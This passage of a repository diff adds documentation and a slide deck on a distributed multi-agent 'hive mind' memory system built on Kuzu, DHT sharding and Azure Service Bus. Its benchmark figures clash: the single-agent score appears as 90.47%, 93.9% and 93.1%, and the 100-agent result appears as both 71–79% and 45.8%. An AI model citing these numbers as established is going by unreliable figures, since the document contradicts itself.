hive_store=orchestrator._hive_graph, # or extend to inject orchestrator directly +) +``` + +Full CognitiveAdapter integration is a future enhancement tracked in DESIGN.md. + +--- + +## 6. Writing the `__init__.py` Export + +Always add new exports to `__init__.py` with a graceful try/except: + +```python +try: + from .orchestrator import ( + DefaultPromotionPolicy, + HiveMindOrchestrator, + PromotionPolicy, + ) + __all__ += [ + "DefaultPromotionPolicy", + "HiveMindOrchestrator", + "PromotionPolicy", + ] +except ImportError: + _logger.debug("orchestrator module not available") +``` + +This keeps the package importable even if an optional dependency is missing. + +--- + +## 7. Writing the Tests + +Tests should validate **the contract, not the implementation**: + +| Test category | What to test | +|---|---| +| Protocol compliance | `isinstance(DefaultPromotionPolicy(), PromotionPolicy)` | +| Happy path | High-confidence fact is promoted, event published | +| Negative path | Low-confidence fact is not promoted, no event | +| Edge cases | Confidence clamping, duplicate content deduplication | +| Graceful degradation | No peers → gossip skipped with reason | +| Lifecycle | `close()` does not raise, is idempotent | + +Use pytest fixtures for repeated setup. Never test internal `_` attributes. + +--- + +## 8. Summary: The Pattern for Future Modules + +``` +1. Read DESIGN.md + existing __init__.py.__all__ +2. Find the seam: something described but not implemented +3. Write ONE responsibility sentence +4. Design the Protocol (if pluggable rules exist) +5. Design the return types (dicts with named keys) +6. Implement with graceful ImportError guards for optional deps +7. Wire to existing interfaces via constructor injection +8. Export from __init__.py with try/except +9. Write contract tests (29+ passing) +10. Document here +``` + +The key invariant: **a brick should be self-contained, regeneratable, and minimal**. +If you can't delete the module and recreate it from its interface alone, it's not a proper brick. + +--- + +## Files Created + +| File | Purpose | +|---|---| +| `src/amplihack/agents/goal_seeking/hive_mind/orchestrator.py` | The new module | +| `tests/hive_mind/test_orchestrator.py` | Contract tests (29 passing) | +| `docs/hive_mind/MODULE_CREATION_GUIDE.md` | This document | diff --git a/docs/hive_mind/TUTORIAL.md b/docs/hive_mind/TUTORIAL.md index 1d01b0de0..0ae70cf10 100644 --- a/docs/hive_mind/TUTORIAL.md +++ b/docs/hive_mind/TUTORIAL.md @@ -201,18 +201,18 @@ bash experiments/hive_mind/deploy_azure_hive.sh --cleanup ### What Gets Provisioned -| Resource | Details | -| ------------------ | --------------------------------------------------------- | -| Resource Group | `hive-mind-eval-rg` (eastus) | -| Service Bus | Standard SKU, `hive-events` topic, 21 subscriptions | -| Storage Account | Azure Files share for Kuzu DB persistence | -| Container Registry | Basic SKU for agent images | -| Container Apps | 21 apps (20 domain + 1 adversary), 2.0 CPU / 4.0 GiB each | +| Resource | Details | +| ------------------ | ------------------------------------------------------------------------- | +| Resource Group | `hive-mind-rg` (eastus) | +| Container Registry | `hivacrhivemind` — Basic SKU, admin enabled | +| Service Bus | `hive-sb-dj2qo2w7vu5zi` — Standard SKU, `hive-events` topic, 21 subs | +| Storage Account | Azure Files share for Kuzu DB persistence | +| Container Apps | 21 apps (20 domain + 1 adversary), 2.0 CPU / 4.0 GiB each | ### Environment Overrides ```bash -export HIVE_RESOURCE_GROUP="my-rg" # Default: hive-mind-eval-rg +export HIVE_RESOURCE_GROUP="my-rg" # Default: hive-mind-rg export HIVE_LOCATION="westus2" # Default: eastus export HIVE_AGENT_COUNT=10 # Default: 20 export HIVE_IMAGE_TAG="v2" # Default: latest diff --git a/docs/hive_mind_presentation.md b/docs/hive_mind_presentation.md new file mode 100644 index 000000000..fc1e56adf --- /dev/null +++ b/docs/hive_mind_presentation.md @@ -0,0 +1,740 @@ +# Distributed Hive Mind: Multi-Agent Memory Architecture + +--- + +## Slide 1: Title Slide + +### Distributed Hive Mind +#### Shared Memory for Multi-Agent Systems + +**Amplihack Agent Framework** +Model: claude-sonnet-4-5-20250929 + +--- + +**Speaker Notes:** +Welcome. This presentation covers the distributed hive mind architecture -- a system for sharing memory across multiple AI agents. We will walk through the memory model from first principles: what a goal-seeking agent is, why it needs memory, how memory is structured, how agents share it, and what our evaluation results look like. All data points are from our 5000-turn evaluation suite running on Claude Sonnet 4.5. + +--- + +## Slide 2: What is a Goal-Seeking Agent? + +### What is a Goal-Seeking Agent? + +- An autonomous agent that pursues objectives through iterative reasoning +- Follows the **OBSERVE -> ORIENT -> PERCEIVE -> REASON -> ACT -> LEARN** loop, driven by `run_iteration()` +- Uses LLM-powered reasoning to plan, execute actions, and synthesize answers +- Handles question complexity levels: L1 (Recall) through L12+ (Multi-hop synthesis) +- Actions include: read content, search memory, synthesize answers, calculate, code generation + +```mermaid +graph LR + OB["OBSERVE
remember + recall context"] --> OR["ORIENT
recall domain knowledge"] + OR --> P["PERCEIVE
combine observation + memory"] + P --> R["REASON
LLM decides action"] + R --> A["ACT
Execute action"] + A --> L["LEARN
Store outcome"] + L --> OB +``` + +_Source: [`src/amplihack/agents/goal_seeking/agentic_loop.py`](../src/amplihack/agents/goal_seeking/agentic_loop.py) — methods: `observe`, `orient`, `perceive`, `reason`, `act`, `learn`, `run_iteration`_ + +--- + +**Speaker Notes:** +A goal-seeking agent is not just an LLM call. It is an autonomous loop. The agent perceives its environment (a question, a document, context from memory), reasons about what to do next using an LLM, takes an action (search memory, read content, synthesize an answer), and then learns from the result by storing facts back into memory. This loop can iterate multiple times per task. The agent handles 12 complexity levels in our eval suite -- from simple recall (L1) to multi-hop reasoning across many facts (L12). The key insight is that the agent's intelligence is bounded by what it can remember between turns. + +--- + +## Slide 3: Why Does it Need Memory? + +### Why Does it Need Memory? + +- **LLM context windows are finite** -- cannot hold 5000 turns of learning +- **Knowledge must persist** across sessions and tasks +- **Facts learned early** must be retrievable for questions asked later +- **Multi-step reasoning** requires connecting facts from different sources +- Without memory: agent forgets everything between turns, performance collapses + +**The core loop with memory:** +1. **Learn**: Read content, extract facts, store in memory +2. **Answer**: Retrieve relevant facts from memory, synthesize with LLM + +**Key constraint:** Memory quality directly determines answer quality +- Bad storage = facts never found +- Bad retrieval = wrong facts surface +- No memory = random guessing + +--- + +**Speaker Notes:** +The reason memory is critical is simple: context windows are finite. Our eval has 5000 turns -- an agent first learns from content across thousands of turns, then is asked questions about that content. Without persistent memory, the agent would need to fit everything into a single context window, which is impossible at this scale. Memory is the bottleneck. If you store facts poorly, you cannot retrieve them. If your retrieval is imprecise, you get the wrong facts. And if the wrong facts go to the LLM, you get wrong answers. This is why we invested heavily in the memory architecture. + +--- + +## Slide 4: Simple Memory + Semantic Search + +### Simple Memory + Semantic Search + +- **Simplest approach:** Store facts as text, retrieve by keyword match +- `ExperienceStore` with Kuzu backend -- stores experiences with context, outcome, confidence, tags +- Search: keyword matching against stored text fields +- Limitations: + - Keyword search misses semantic equivalence ("car" vs "automobile") + - No relationship tracking between facts + - Flat structure -- no hierarchy or categorization + +```mermaid +graph LR + Q["Query: 'photosynthesis'"] --> KW["Keyword Match"] + KW --> F1["Fact: Plants convert light to energy"] + KW --> F2["Fact: Chlorophyll absorbs sunlight"] + KW -.->|missed| F3["Fact: Green pigment in leaves
(no keyword overlap)"] +``` + +- **MemoryRetriever** class: `search(query, limit, min_confidence)` +- Returns: experience_id, context, outcome, confidence, timestamp, tags + +--- + +**Speaker Notes:** +The simplest memory approach is a flat store with keyword search. Our MemoryRetriever wraps an ExperienceStore backed by Kuzu (a graph database). You store a fact with context, an outcome string, a confidence score, and tags. You retrieve by text search. This works for simple cases but breaks down quickly. Keyword search cannot find "green pigment in leaves" when you search for "photosynthesis" -- there is no keyword overlap. This is where we need richer representations. + +--- + +## Slide 5: Graph Memory + +### Graph Memory + +- **Knowledge as a graph**: Facts are nodes, relationships are edges +- `HierarchicalMemory` backed by Kuzu graph database +- **Node types:** KnowledgeNode with content, category, confidence, embedding +- **Edge types:** RELATED_TO, DERIVED_FROM, SIMILAR_TO (with similarity scores) +- **Subgraph retrieval:** `to_llm_context()` serializes a connected subgraph for the LLM + +```mermaid +graph TD + F1["Photosynthesis
conf: 0.95"] -->|RELATED_TO| F2["Chlorophyll
conf: 0.90"] + F1 -->|RELATED_TO| F3["Light Energy
conf: 0.88"] + F2 -->|SIMILAR_TO
sim: 0.82| F4["Green Pigment
conf: 0.85"] + F3 -->|DERIVED_FROM| F5["Solar Radiation
conf: 0.92"] +``` + +- **Advantage over flat search:** Retrieving "photosynthesis" also pulls in connected facts about chlorophyll, light energy, and solar radiation via graph traversal +- **Similarity edges:** Automatically created when embedding cosine similarity exceeds threshold + +--- + +**Speaker Notes:** +Graph memory addresses the keyword gap. Instead of isolated text entries, facts become nodes in a graph with typed edges: RELATED_TO connects topically related facts, SIMILAR_TO links semantically close facts using embedding cosine similarity, and DERIVED_FROM tracks provenance. When you retrieve "photosynthesis," graph traversal automatically pulls in connected facts about chlorophyll and light energy that keyword search would miss. The subgraph gets serialized into a format the LLM can consume. This is a significant improvement but still treats all facts the same way. + +--- + +## Slide 6: Cognitive Psychology Memory Model (6 Types) + +### Cognitive Psychology Memory Model (6 Types) + +Modeled after human cognition -- different memory types for different purposes: + +| Type | Purpose | Properties | Example | +|------|---------|-----------|---------| +| **Sensory** | Raw input buffering | TTL-based auto-expiry | "User said: check the logs" | +| **Working** | Active task state | 20-slot bounded capacity | Current goal, constraints | +| **Episodic** | Autobiographical events | Consolidatable, temporal index | "Learned about DNA at turn 42" | +| **Semantic** | Distilled facts/knowledge | Confidence scores, similarity edges | "DNA stores genetic info" | +| **Procedural** | Step-by-step procedures | Usage count, prerequisites | "To deploy: build, test, push" | +| **Prospective** | Future intentions | Trigger conditions, status | "When asked about X, recall Y" | + +- Implemented in `CognitiveMemory` (amplihack-memory-lib) +- `CognitiveAdapter` provides backward-compatible interface +- Each type stored as distinct node type in Kuzu graph + +--- + +**Speaker Notes:** +The 6-type cognitive memory model is inspired by human cognitive psychology. Sensory memory holds raw observations briefly -- like a buffer with auto-expiry. Working memory has bounded capacity (20 slots) for active task context -- your current goal, constraints, intermediate results. Episodic memory records events chronologically and can be consolidated (compressed) over time. Semantic memory stores distilled facts with confidence scores -- this is the primary store for learned knowledge. Procedural memory captures reusable step sequences. Prospective memory holds future-oriented trigger-action pairs: "when X happens, do Y." Each type maps to a distinct node type in the Kuzu graph database, with different retention and retrieval strategies. + +--- + +## Slide 7: Hierarchical Memory Model + +### Hierarchical Memory Model + +```mermaid +graph TD + subgraph "Sensory (volatile)" + S1["Raw Input 1"] + S2["Raw Input 2"] + S3["Raw Input 3"] + end + + subgraph "Working Memory (20 slots)" + W1["Goal: Answer Q about DNA"] + W2["Constraint: Use only stored facts"] + end + + subgraph "Long-term Memory" + subgraph "Episodic" + E1["Turn 42: Read about genetics"] + E2["Turn 100: Learned photosynthesis"] + end + subgraph "Semantic" + SM1["DNA stores genetic info (0.95)"] + SM2["RNA transcribes DNA (0.90)"] + end + subgraph "Procedural" + P1["Multi-hop reasoning: search -> connect -> synthesize"] + end + subgraph "Prospective" + PR1["If asked about genes, recall DNA facts"] + end + end + + S1 -.->|filter + classify| W1 + W1 -.->|consolidate| E1 + E1 -.->|distill| SM1 + SM1 -.->|generalize| P1 +``` + +- **Flow:** Sensory -> Working -> Episodic -> Semantic -> Procedural +- **Consolidation:** Episodic memories compress into semantic facts over time +- **Working memory cleanup:** Auto-cleared on task completion + +--- + +**Speaker Notes:** +The hierarchical model shows how information flows through the memory system. Raw input enters sensory memory, gets filtered and classified into working memory slots for the active task. After the task completes, episodic memories get consolidated -- multiple related episodes compress into distilled semantic facts. Over time, repeated patterns in semantic memory generalize into procedural knowledge. Prospective memory sits alongside, monitoring for trigger conditions. This hierarchy means the agent naturally focuses on recent, relevant information (working memory) while retaining distilled knowledge long-term (semantic + procedural). The working memory auto-cleanup prevents stale task context from polluting future reasoning. + +--- + +## Slide 8: Other Models (Comparison) + +### Memory Model Comparison + +| Model | Pros | Cons | Best For | +|-------|------|------|----------| +| **Flat key-value** | Simple, fast | No relationships, keyword-only | Prototypes, < 100 facts | +| **Vector DB** (embeddings only) | Semantic search | No structure, no reasoning about relationships | Similarity search | +| **Knowledge graph** | Rich relationships, traversal | Complex queries, schema overhead | Structured domains | +| **Cognitive 6-type** (ours) | Psychologically grounded, multi-level retention | More complex storage/retrieval | Long-horizon agents | +| **RAG (retrieve + generate)** | Simple pipeline | No persistent learning, stateless | One-shot Q&A | + +**Our approach combines:** +- Graph storage (Kuzu) for relationships +- Embeddings for semantic similarity +- Cognitive types for appropriate retention policies +- Hierarchical retrieval with subgraph context + +**Configuration precedence:** kwargs > env vars > YAML > defaults + +--- + +**Speaker Notes:** +Here is how our approach compares to alternatives. Flat key-value stores are simple but miss relationships. Pure vector databases give you semantic search but no structure. Knowledge graphs provide rich relationships but require complex queries. Standard RAG is stateless -- it retrieves and generates but does not learn persistently. Our cognitive 6-type model combines the benefits: graph storage for relationships, embeddings for semantic similarity, and psychologically-grounded memory types for appropriate retention. Configuration follows a clean precedence: explicit kwargs override environment variables, which override YAML config, which overrides defaults. + +--- + +## Slide 9: Storage of Memories (GraphStore Protocol) + +### Storage of Memories (GraphStore Protocol) + +**Protocol-driven design** -- four implementations, one interface: + +```mermaid +graph TD + P["GraphStore Protocol
(runtime_checkable)"] --> K["KuzuGraphStore
Kuzu graph DB
Persistent, ACID"] + P --> I["InMemoryGraphStore
Python dicts
Fast, volatile"] + P --> D["DistributedGraphStore
DHT-sharded
Multi-agent"] + P --> N["NetworkGraphStore
Azure Service Bus
Cross-machine"] +``` + +| Implementation | Use Case | Persistence | Scale | +|---------------|----------|-------------|-------| +| `KuzuGraphStore` | Single agent, persistent | Disk (Kuzu DB) | 1 agent | +| `InMemoryGraphStore` | Testing, ephemeral | RAM only | 1 process | +| `DistributedGraphStore` | Multi-agent, same process | RAM (sharded) | 100s of agents | +| `NetworkGraphStore` | Multi-machine, production | Azure Service Bus + Kuzu | 100s of agents, multi-region | + +**Protocol methods:** `ensure_table()`, `create_node()`, `query_nodes()`, `create_relationship()`, `query_relationships()` + +**Schema per memory type:** Each of the 6 cognitive types has a dedicated schema (e.g., `SEMANTIC_SCHEMA`, `EPISODIC_SCHEMA`, `PROCEDURAL_SCHEMA`, `WORKING_SCHEMA`) + +--- + +**Speaker Notes:** +The GraphStore protocol is the storage abstraction. It is a runtime-checkable Python Protocol with four implementations. KuzuGraphStore provides persistent, ACID-compliant storage for single agents using the Kuzu graph database. InMemoryGraphStore uses Python dicts for fast testing. DistributedGraphStore shards data across agents using a consistent hash ring -- this is the core of the hive mind. NetworkGraphStore extends distribution across machines using Azure Service Bus for event transport. All four implement the same protocol, so you can swap backends without changing agent code. Each cognitive memory type has its own schema definition. + +--- + +## Slide 10: Recall / Retrieval + +### Recall / Retrieval + +**OODA Loop integration -- memory at every phase:** + +```mermaid +graph LR + O["OBSERVE
remember() + recall()"] --> OR["ORIENT
recall similar facts
+ domain knowledge"] + OR --> D["DECIDE
LLM synthesis with
retrieved context"] + D --> A["ACT
execute + remember()"] +``` + +**Retrieval pipeline:** + +1. **Intent detection** -- classify question type (L1-L12) using LLM +2. **Query expansion** -- synonyms and related terms (optional) +3. **Multi-source search:** + - Local memory (CognitiveAdapter.search) + - Hive memory (HiveIntegrationMixin._search_hive) + - Federated query (query_federated traverses the hive tree) +4. **Reranking** -- hybrid scoring: `semantic_similarity * 0.5 + confirmation_count * 0.3 + source_trust * 0.2` +5. **RRF merge** -- Reciprocal Rank Fusion combines keyword and confidence rankings +6. **Confidence gate** -- discard results below threshold +7. **Deduplication** -- content-hash dedup across local and hive results +8. **Context serialization** -- `to_llm_context()` formats subgraph for LLM + +--- + +**Speaker Notes:** +Retrieval integrates with the OODA loop at every phase. Observe uses remember and recall. Orient pulls similar facts and domain knowledge. Decide feeds retrieved context to the LLM for synthesis. Act stores the result back. The pipeline itself is multi-stage: first detect the question intent and complexity level. Then optionally expand the query with synonyms. Then search both local memory and the shared hive. Results get reranked using hybrid scoring -- 50% semantic similarity, 30% confirmation count (how many agents confirmed the fact), and 20% source trust. RRF merge combines different ranking signals. A confidence gate discards low-quality results. Deduplication prevents the same fact from appearing twice. Finally, the relevant subgraph is serialized for the LLM. + +--- + +## Slide 11: Single-Agent Memory (90.47% Results) + +### Single-Agent Memory -- Baseline Performance + +**Eval: 5000-turn long-horizon memory evaluation (15 categories, seed 42)** + +| Metric | Value | +|--------|-------| +| **Score** | **90.47%** | +| **Dataset** | `5000t-seed42-v1.0` (2026-02-24) | +| **Memory backend** | LearningAgent (CognitiveMemory + KuzuGraphStore) | +| **Turns** | 5000 — 762 facts extracted across 12 information blocks | +| **Questions** | 100 across 15 categories (L1 recall → temporal trap) | +| **Memory stats** | 10,854 semantic + 5,000 episodic = 15,854 total nodes | + +- Single agent learns from content, then answers questions +- Memory stores facts across 6 cognitive types (sensory, working, episodic, semantic, procedural, prospective) +- Hybrid retrieval: vector similarity (BAAI/bge-base-en-v1.5) + keyword fallback +- **This is the ceiling** -- a single agent with all facts locally + +**Category highlights (median-of-3 grading):** + +| Category | Score | +|---|---| +| cross_reference | 100% | +| distractor_resistance | 100% | +| infrastructure_knowledge | 100% | +| needle_in_haystack | 100% | +| adversarial_distractor | 89.6% | +| temporal_evolution | 89.7% | +| temporal_trap | 53.3% ← hardest | + +**Why 90.47% and not 100%?** +- `temporal_trap` (53.3%) — contradictory time-ordered facts with misleading cues +- `incident_tracking` (83.8%) — multi-step incident timelines across many turns +- Retrieval occasionally misses the right fact combination for L10-L12 questions + +--- + +**Speaker Notes:** +Our baseline: a single agent scores 90.47% on the 5000-turn eval (dataset 5000t-seed42-v1.0, February 2026). This is the gold standard. One LearningAgent with CognitiveMemory backed by KuzuGraphStore, 762 extracted facts, 15,854 memory nodes. The grader uses median-of-3 voting to reduce LLM noise. The 9.53% gap is dominated by `temporal_trap` questions (53.3%) -- deliberately misleading time-ordered facts. This 90.47% is our target ceiling for the distributed case: can multiple agents sharing knowledge approach this number? + +--- + +## Slide 12: Shared Memory -- Motivations + +### Shared Memory -- Motivations + +**Why distribute memory across agents?** + +1. **Specialization** -- agents can focus on domains (biology, history, math) while sharing knowledge +2. **Parallelism** -- 10 agents learn 10x faster than 1 agent + - Single agent: **21.6 hours** for 5000 turns + - 10 parallel workers: **2.4 hours** (9x speedup) +3. **Scale** -- some tasks exceed single-agent memory capacity +4. **Resilience** -- facts replicated across agents survive individual failures +5. **Collective intelligence** -- agents can confirm, contradict, or refine each other's facts + +**The challenge:** +- How to partition knowledge without losing retrieval quality? +- How to query across agents without O(N) scan? +- How to handle contradictions between agents? +- How to avoid memory explosion with 100+ agents? + +--- + +**Speaker Notes:** +The motivation for shared memory is fourfold. First, specialization: different agents can focus on different domains while sharing knowledge through the hive. Second, parallelism: with 10 parallel workers, we reduce learning time from 21.6 hours to 2.4 hours -- a 9x speedup. Third, scale: some knowledge bases exceed what a single agent can hold. Fourth, resilience: with replication, facts survive individual agent failures. But distribution introduces hard problems. How do you partition knowledge so the right facts are findable? How do you query without scanning every agent? How do you handle the same fact learned differently by two agents? And practically, how do you avoid crashing when 100 agents each try to open a Kuzu database that defaults to 80% of system RAM? + +--- + +## Slide 13: Shared Memory Approaches + +### Shared Memory Approaches + +| Approach | Mechanism | Trade-offs | +|----------|-----------|-----------| +| **Centralized** (InMemoryHiveGraph) | All facts in one dict, all agents read/write | Simple but O(F) memory, single point of failure | +| **Replicated** (CRDT + Gossip) | Every agent holds a full copy, merge via ORSet/LWW | Consistent but O(F) per agent, does not scale | +| **Sharded** (DistributedHiveGraph) | DHT partitions facts, agents own keyspace ranges | O(F/N) per agent, O(K) queries, scales | +| **Federated** (tree of hives) | Groups of agents with own DHT, root aggregates | Hierarchical scale, cross-group sharing | +| **Networked** (NetworkGraphStore) | Azure Service Bus events, cross-machine | Production-ready, multi-region | + +```mermaid +graph LR + A["Centralized
All facts in memory
Simple, does not scale"] --> B["Replicated
CRDT merge
Consistent, O(F)/agent"] + B --> C["Sharded (DHT)
O(F/N) per agent
Scales to 100s"] + C --> D["Federated
Tree of hives
Hierarchical scale"] + D --> E["Networked
Service Bus
Multi-machine"] +``` + +--- + +**Speaker Notes:** +We explored five approaches on the spectrum from simple to production-scale. Centralized puts all facts in one dict -- simple but does not scale beyond 20 agents. Replicated uses CRDTs (ORSet for fact membership, LWW registers for trust scores) with gossip for consistency -- but every agent holds all facts, so it is still O(F) per agent. Sharded uses a consistent hash ring (DHT) to partition facts -- each agent holds O(F/N) of the total, and queries fan out to K agents instead of all N. Federated organizes agents into groups, each with its own DHT, with a root hive that aggregates high-confidence facts. Networked extends this across machines using Azure Service Bus. Each approach builds on the previous one. + +--- + +## Slide 14: Hive Mind -- Architecture (DHT Diagram) + +### Hive Mind -- Architecture + +```mermaid +graph TB + subgraph "Consistent Hash Ring (DHT)" + direction LR + R["Hash Ring
64 virtual nodes per agent
R=3 replication factor"] + end + + subgraph "Agent Shards" + A0["Agent 0
Shard: ~50 facts
Kuzu DB (256MB cap)"] + A1["Agent 1
Shard: ~48 facts
Kuzu DB (256MB cap)"] + A2["Agent 2
Shard: ~52 facts
Kuzu DB (256MB cap)"] + AN["Agent N
Shard: ~50 facts
Kuzu DB (256MB cap)"] + end + + subgraph "Gossip Layer" + G["Bloom Filter Exchange
1KB per 1000 facts @ 1% FP
O(log N) convergence"] + end + + R --> A0 + R --> A1 + R --> A2 + R --> AN + A0 <-.->|gossip| A1 + A1 <-.->|gossip| A2 + A2 <-.->|gossip| AN + + subgraph "Federation" + Root["Root Hive
Aggregates confidence >= 0.9"] + G0["Group 0
5 agents, own DHT"] + G1["Group 1
5 agents, own DHT"] + GN["Group N
5 agents, own DHT"] + + Root --- G0 + Root --- G1 + Root --- GN + G0 -.->|escalate| Root + Root -.->|broadcast| G1 + end +``` + +**Key parameters:** +- **DHT:** Consistent hash ring, 64 virtual nodes per agent, R=3 replication +- **Gossip:** Bloom filter exchange, O(log N) convergence, 1KB/1000 facts; exchanges full graph nodes (not flat facts), preserving all metadata +- **Agent join:** Triggers full shard rebuild — existing agents redistribute facts to cover the new ring position +- **Kuzu fix:** Default 80% RAM + 8TB mmap per DB. Bounded to 256MB buffer pool + 1GB max per agent +- **Federation:** Facts with confidence >= 0.9 escalate to root, root broadcasts to all groups +- **Query:** Hash key terms -> fan-out to K shard owners -> RRF merge results + +--- + +**Speaker Notes:** +This is the full architecture. The DHT uses a consistent hash ring with 64 virtual nodes per agent for even distribution. Each fact is replicated to R=3 agents for fault tolerance. The gossip layer uses bloom filters -- each agent maintains a compact bloom filter of its fact IDs. During gossip rounds, agents exchange bloom filters and pull missing facts from peers. Convergence is O(log N) rounds. The critical Kuzu fix: Kuzu defaults to 80% of system RAM plus 8TB mmap address space per database. With 100 agents, this immediately crashes. We bounded each agent to 256MB buffer pool and 1GB max database size. Federation organizes agents into groups of 5, each with its own DHT. High-confidence facts (>= 0.9) escalate to the root hive, which broadcasts them to all groups. Queries traverse the federation tree, collecting results from all groups and merging via Reciprocal Rank Fusion. + +--- + +## Slide 15: Hive Assembly + +### Hive Assembly + +How a distributed hive bootstraps from zero agents to a fully operational shared-memory network: + +```mermaid +sequenceDiagram + participant C as Coordinator (amplihack-hive start) + participant A0 as Agent 0 + participant A1 as Agent 1 + participant A2 as Agent 2 + participant SB as Azure Service Bus + + C->>A0: spawn container, AMPLIHACK_AGENT_NAME=agent-0 + A0->>A0: Memory.init() — KuzuGraphStore, local ring + A0->>SB: subscribe(agent-0) + A0-->>C: /tmp/.agent_ready + + C->>A1: spawn container, AMPLIHACK_AGENT_NAME=agent-1 + A1->>A1: Memory.init() — join DHT ring + A1->>SB: subscribe(agent-1) + A1->>A0: gossip HELLO — exchange bloom filters + A0->>A1: shard transfer (ring rebalance) + A1-->>C: /tmp/.agent_ready + + C->>A2: spawn container, AMPLIHACK_AGENT_NAME=agent-2 + A2->>A2: Memory.init() — join DHT ring + A2->>SB: subscribe(agent-2) + A2->>A0: gossip HELLO + A2->>A1: gossip HELLO + A0->>A2: shard transfer + A1->>A2: shard transfer + A2-->>C: /tmp/.agent_ready + + Note over A0,A2: Hive assembled — ring stable, shards balanced + + C->>SB: publish LEARN_CONTENT (feed_content.py) + SB->>A0: deliver LEARN_CONTENT + SB->>A1: deliver LEARN_CONTENT + SB->>A2: deliver LEARN_CONTENT + A0->>A0: memory.remember(content) + A1->>A1: memory.remember(content) + A2->>A2: memory.remember(content) +``` + +**Assembly phases:** + +| Phase | Action | Trigger | +|-------|--------|---------| +| **1. Bootstrap** | First agent initialises empty local DHT ring | Container start | +| **2. Join** | New agent computes ring position, announces HELLO via gossip | Container start | +| **3. Rebalance** | Existing agents transfer shard ownership to newcomer | HELLO receipt | +| **4. Convergence** | Bloom filter exchange propagates knowledge of all shards | Gossip rounds (O(log N)) | +| **5. Ready** | Agent writes `/tmp/.agent_ready` sentinel; coordinator proceeds | Ring stable | +| **6. Content ingestion** | `feed_content.py` publishes LEARN_CONTENT events; all agents ingest in parallel | External feed | + +**Key invariants during assembly:** +- No facts are lost during rebalance — shard transfer is copy-then-delete, not move +- Agents that join mid-ingestion catch up via gossip within O(log N) rounds +- Service Bus topic subscription is created before the first gossip round completes + +--- + +**Speaker Notes:** +Hive assembly follows a predictable six-phase sequence. The first agent starts alone and owns the entire hash ring. Each subsequent agent computes its ring position, sends HELLO gossip to peers, and triggers a shard rebalance — existing agents hand off ownership of the keyspace range that the newcomer now covers. Bloom filter exchange lets agents discover which facts they are missing and pull them from peers. Once an agent's ring view stabilises, it writes the ready sentinel that the coordinator waits for before sending the next container start. Content ingestion begins immediately after all agents are ready: `feed_content.py` sends LEARN_CONTENT events to the Service Bus topic, and all subscribed agents ingest them in parallel — achieving N-way learning speedup with zero coordination overhead during the ingestion phase itself. + +--- + +## Slide 16: Memory Evaluations -- Approach + +### Memory Evaluations -- Approach + +**Eval suite:** 5000-turn long-horizon memory evaluation + +**Structure:** +1. **Learning phase:** Agent reads content and extracts facts (thousands of turns) +2. **Question phase:** Agent answers questions at levels L1-L12 +3. **Scoring:** Exact-match + semantic similarity grading + +**Configurations tested:** + +| Config | Description | Score | +|--------|-------------|-------| +| Single agent | 1 agent, all facts local (baseline) | **93.9%** | +| Federated v1 naive | Multiple groups, longest-answer-wins merge | 40.0% | +| Federated broken routing | Root hive empty, random agent fallback | 34.9% | +| Federated single DHT | One DistributedHiveGraph, no federation tree | 47.2% | +| Federated semantic+OODA | OODA-integrated retrieval, semantic routing | 45.8% | +| Smoke test 10 agents | 10 agents, distributed hive, quick validation | 58.8% | +| **Distributed final (100 agents)** | **Full distributed eval, production DHT** | **71–79% (avg 75%)** | +| **Live Azure Hive (3-repeat)** | **query_hive.py --repeats 3, security analyst eval** | **86.5% median ± 10.1% stddev** | + +**Score progression (distributed hive, iteration over eval runs):** 0% → 34.9% → 40% → 47% → 58.8% → **79%** + +**3-Repeat Results (query_hive.py --run-eval --repeats 3):** + +| Metric | Value | +|--------|-------| +| Median score | **86.5%** | +| Std deviation | **10.1%** | +| Runs | 3 | +| Eval | Live Azure Hive — security analyst Q&A | + +**Methodology:** +- 3+ replications per condition (median reported) +- Standard deviation tracks consistency +- Same model (claude-sonnet-4-5-20250929) across all conditions +- Same eval content and questions across all conditions + +--- + +**Speaker Notes:** +Our evaluation methodology is rigorous. The 5000-turn eval has a learning phase where the agent ingests content and extracts facts, and a question phase where it answers questions at 12 complexity levels. We tested six configurations. Single agent is the 90.47% baseline (dataset 5000t-seed42-v1.0, median-of-3 grading). Federated v1 naive was our first attempt at multi-agent -- it used longest-answer-wins as the merge strategy, which turned out to be a terrible heuristic. Federated broken routing exposed a bug where facts went to group hives but queries hit the empty root hive, falling back to random agent selection. Federated single DHT uses one DistributedHiveGraph without the federation tree. Federated semantic+OODA integrates the OODA loop with semantic routing. Smoke test validates 10 agents quickly. We run 3+ replications and report medians with standard deviation. + +--- + +## Slide 17: Evaluations -- Results + +### Evaluations -- Results + +| Condition | Median Score | Std Dev | Notes | +|-----------|-------------|---------|-------| +| **Single agent (latest)** | **93.1%** | — | Latest run, 5000t-seed42-v1.0, median-of-3 | +| Single agent (prior) | 90.47% | — | Previous baseline | +| **Federated 10 agents (latest)** | **53.3%** | — | Latest 10-agent federated result | +| Federated 10 agents (smoke, prior) | 65.7% | 6.7% | Prior best multi-agent result, low variance | +| Federated 100 agents (full) | 45.8% | 21.7% | Routing precision degrades at scale | +| Federated single DHT | 47.2% | — | One DistributedHiveGraph, no federation tree | +| Federated v1 naive | 40.0% | — | Longest-answer-wins merge | +| Federated broken routing | 34.9% | 31.2% | Root hive empty, random fallback | + +```mermaid +graph LR + subgraph "Performance Gap" + direction TB + S["Single Agent (latest)
93.1%"] + SP["Single Agent (prior)
90.47%"] + SM["Federated 10 agents (latest)
53.3%"] + SMP["Smoke 10 agents (prior)
65.7%"] + SO["Semantic+OODA
45.8%"] + SD["Single DHT
47.2%"] + FN["Naive v1
40.0%"] + FB["Broken routing
34.9%"] + end +``` + +**Key findings:** +- **Latest gap:** Best multi-agent (53.3%) vs single agent (93.1%) = 39.8 point gap +- **Single agent improved:** 90.47% → 93.1% (+2.63 points) with latest run +- **Federated regression:** 10-agent federated dropped from 65.7% to 53.3% — routing/merge issues under investigation +- **Scale insight:** Routing precision degrades at 100-agent scale (45.8% median, 21.7% stddev) +- **Variance kills:** Broken routing had 31.2% stddev -- results range from 23% to 83% +- **Single DHT:** 47.2% — one DistributedHiveGraph for all agents, no federation tree overhead +- **Learning speedup:** 9x with 10 parallel workers (parallel learning with DistributedHiveGraph) +- **Scale fix works:** 100 agents: 12.3s creation, 4.8GB RSS (was OOM crash with InMemoryHiveGraph) +- **Quality:** Grading uses median-of-3 voting per dimension to reduce LLM noise + +--- + +**Speaker Notes:** +Here are all the results. The latest single agent run scores 93.1% on 5000t-seed42-v1.0 (up from the prior 90.47% baseline), scored with median-of-3 grading. The latest 10-agent federated result is 53.3% -- a regression from the prior 65.7% smoke test, under investigation. Our first federated attempt scored only 40% -- longest-answer-wins is a terrible 